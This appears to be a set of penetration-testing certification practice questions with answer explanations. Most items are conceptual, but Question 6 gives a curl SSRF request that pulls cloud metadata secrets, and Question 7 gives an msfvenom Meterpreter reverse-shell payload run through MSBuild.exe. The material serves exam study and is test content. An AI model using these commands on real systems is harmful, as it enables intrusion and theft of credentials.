Question # 1
During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward. Which of the following types of attacks is this an example of?
| A. SQL injection
| B. SSRF
| C. XSS
| D. Server-side template injection
|
C. XSS
Explanation:
Cross-Site Scripting (XSS) is an attack that involves injecting malicious scripts into web pages viewed by other users. Here’s why option C is correct:
XSS (Cross-Site Scripting): This attack involves injecting JavaScript into a web application, which is then executed by the user’s browser. The scenario describes injecting a JavaScript prompt, which is a typical XSS payload.
SQL Injection: This involves injecting SQL commands to manipulate the database and does not relate to JavaScript injection.
SSRF (Server-Side Request Forgery): This attack tricks the server into making requests to unintended locations, which is not related to client-side JavaScript execution.
Server-Side Template Injection: This involves injecting code into server-side templates, not JavaScript that executes in the user’s browser.
References from Pentest:
Horizontall HTB: Demonstrates identifying and exploiting XSS vulnerabilities in web applications.
Luke HTB: Highlights the process of testing for XSS by injecting scripts and observing their execution in the browser.
Question # 2
A penetration tester discovers evidence of an advanced persistent threat on the network that is being tested. Which of the following should the tester do next?
| A. Report the finding.
| B. Analyze the finding.
| C. Remove the threat.
| D. Document the finding and continue testing.
|
A. Report the finding.
Explanation:
Upon discovering evidence of an advanced persistent threat (APT) on the network, the penetration tester should report the finding immediately.
Explanation:
Advanced Persistent Threat (APT):
Definition: APTs are prolonged and targeted cyberattacks in which an intruder gains access to a network and remains undetected for an extended period.
Significance: APTs often involve sophisticated tactics, techniques, and procedures (TTPs) aimed at stealing data or causing disruption.
Immediate Reporting:
Criticality: Discovering an APT requires immediate attention from the organization’s security team due to the potential impact and persistence of the threat.
Chain of Command: Following the protocol for reporting such findings ensures that appropriate incident response measures are initiated promptly.
Other Actions:
Analyzing the Finding: While analysis is important, it should be conducted by the incident response team after reporting.
Removing the Threat: This action should be taken by the organization’s security team following established incident response procedures.
Documenting and Continuing Testing: Documentation is crucial, but the immediate priority should be reporting the APT to ensure prompt action.
Pentest References:
Incident Response: Understanding the importance of immediate reporting and collaboration with the organization’s security team upon discovering critical threats like APTs. Ethical Responsibility: Following ethical guidelines and protocols to ensure the organization can respond effectively to significant threats.
By reporting the finding immediately, the penetration tester ensures that the organization’s security team is alerted to the presence of an APT, allowing them to initiate an appropriate incident response.
Question # 3
| A penetration tester is getting ready to conduct a vulnerability scan as part of the testing process. The tester will evaluate an environment that consists of a container orchestration cluster. Which of the following tools should the tester use to evaluate the cluster?
| | A. Trivy | | B. Nessus | | C. Grype | | D. Kube-hunter
|
D. Kube-hunter
Explanation:
Evaluating a container orchestration cluster, such as Kubernetes, requires specialized tools designed to assess the security and configuration of container environments. Here’s an analysis of each tool and why Kube-hunter is the best choice:
Trivy (Option A):
Explanation: Trivy is a vulnerability scanner for container images and filesystem.
Capabilities: While effective at scanning container images for vulnerabilities, it is not specifically designed to assess the security of a container orchestration cluster itself.
Nessus (Option B):
Explanation: Nessus is a general-purpose vulnerability scanner that can assess network devices, operating systems, and applications.
Capabilities: It is not tailored for container orchestration environments and may miss specific issues related to Kubernetes or other orchestration systems.
Grype (Option C):
Explanation: Grype is a vulnerability scanner for container images.
Capabilities: Similar to Trivy, it focuses on identifying vulnerabilities in container images rather than assessing the overall security posture of a container orchestration cluster.
Kube-hunter (Answer: D):
Explanation: Kube-hunter is a tool specifically designed to hunt for security vulnerabilities in Kubernetes clusters.
Capabilities: It scans the Kubernetes cluster for a wide range of security issues, including misconfigurations and vulnerabilities specific to Kubernetes environments.
References: Kube-hunter is recognized for its effectiveness in identifying Kubernetes-specific security issues and is widely used in security assessments of container orchestration clusters.
Conclusion: Kube-hunter is the most appropriate tool for evaluating a container orchestration cluster, such as Kubernetes, due to its specialized focus on identifying security vulnerabilities and misconfigurations specific to such environments.
Question # 4
While conducting a peer review for a recent assessment, a penetration tester finds the debugging mode is still enabled for the production system. Which of the following is most likely responsible for this observation?
| A. Configuration changes were not reverted.
| B. A full backup restoration is required for the server.
| C. The penetration test was not completed on time.
| D. The penetration tester was locked out of the system.
|
A. Configuration changes were not reverted.
Explanation:
Debugging Mode:
Purpose: Debugging mode provides detailed error messages and debugging information, useful during development.
Risk: In a production environment, it exposes sensitive information and vulnerabilities, making the system more susceptible to attacks.
Common Causes:
Configuration Changes: During testing or penetration testing, configurations might be altered to facilitate debugging. If not reverted, these changes can leave the system in a vulnerable state.
Oversight: Configuration changes might be overlooked during deployment.
Best Practices:
Deployment Checklist: Ensure a checklist is followed that includes reverting any debug configurations before moving to production.
Configuration Management: Use configuration management tools to track and manage changes.
References from Pentesting Literature:
The importance of reverting configuration changes is highlighted in penetration testing guides to prevent leaving systems in a vulnerable state post-testing.
HTB write-ups often mention checking and ensuring debugging modes are disabled in production environments.
References:
Penetration Testing - A Hands-on Introduction to Hacking
HTB Official Writeups
Question # 5
| A penetration tester is conducting a wireless security assessment for a client with 2.4GHz and 5GHz access points. The tester places a wireless USB dongle in the laptop to start capturing WPA2 handshakes. Which of the following steps should the tester take next? | | A. Enable monitoring mode using Aircrack-ng. | | B. Use Kismet to automatically place the wireless dongle in monitor mode and collect handshakes.
| | C. Run KARMA to break the password.
| | D. Research WiGLE.net for potential nearby client access points.
|
A. Enable monitoring mode using Aircrack-ng.
Question # 6
A penetration tester has found a web application that is running on a cloud virtual machine instance. Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter. Which of the following commands should the tester run to successfully test for secrets exposure exploitability? | | A. curl
<url>?param=http://169.254.169.254/latest/meta-data/ | | B. curl
'<url>?param=http://127.0.0.1/etc/passwd' | | C. curl
'<url>?param=<script>alert(1)<script>/' | | D. curl
<url>?param=http://127.0.0.1/ |
A. curl
<url>?param=http://169.254.169.254/latest/meta-data/
In a cloud environment, testing for Server-Side Request Forgery (SSRF) vulnerabilities involves attempting to access metadata services. Here’s why the specified command is appropriate: Accessing Cloud Metadata Service: Comparison with Other Commands: Using curl <url>?param=http://169.254.169.254/latest/meta-data/ is the correct approach to test for SSRF vulnerabilities in cloud environments to potentially expose secrets.
Question # 7
| A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp
The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host? | | A. regsvr32 /s /n /u C:\evil.xml | | B. MSBuild.exe C:\evil.xml | | C. mshta.exe C:\evil.xml | | D. AppInstaller.exe C:\evil.xml |
B. MSBuild.exe C:\evil.xml
Explanation: The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code:
Understanding MSBuild.exe:
Purpose: MSBuild is a build tool that processes project files written in XML and can execute tasks defined in the XML. It’s commonly used to build .NET applications and can also execute code embedded in project files.
Command Usage:
Command: MSBuild.exe C:\evil.xml
Explanation: This command tells MSBuild to process the evil.xml file, which contains the C# shellcode. MSBuild will compile and execute the code, leading to the payload execution.
Comparison with Other Commands:
regsvr32 /s /n /u C:\evil.xml: Used to register or unregister DLLs, not suitable for executing C# code.
mshta.exe C:\evil.xml: Used to execute HTML applications (HTA files), not suitable for XML containing C# code.
AppInstaller.exe C:\evil.xml: Used to install AppX packages, not relevant for executing C# code embedded in an XML file.
Using MSBuild.exe is the most appropriate method to execute the payload embedded in the XML file created by msfvenom.
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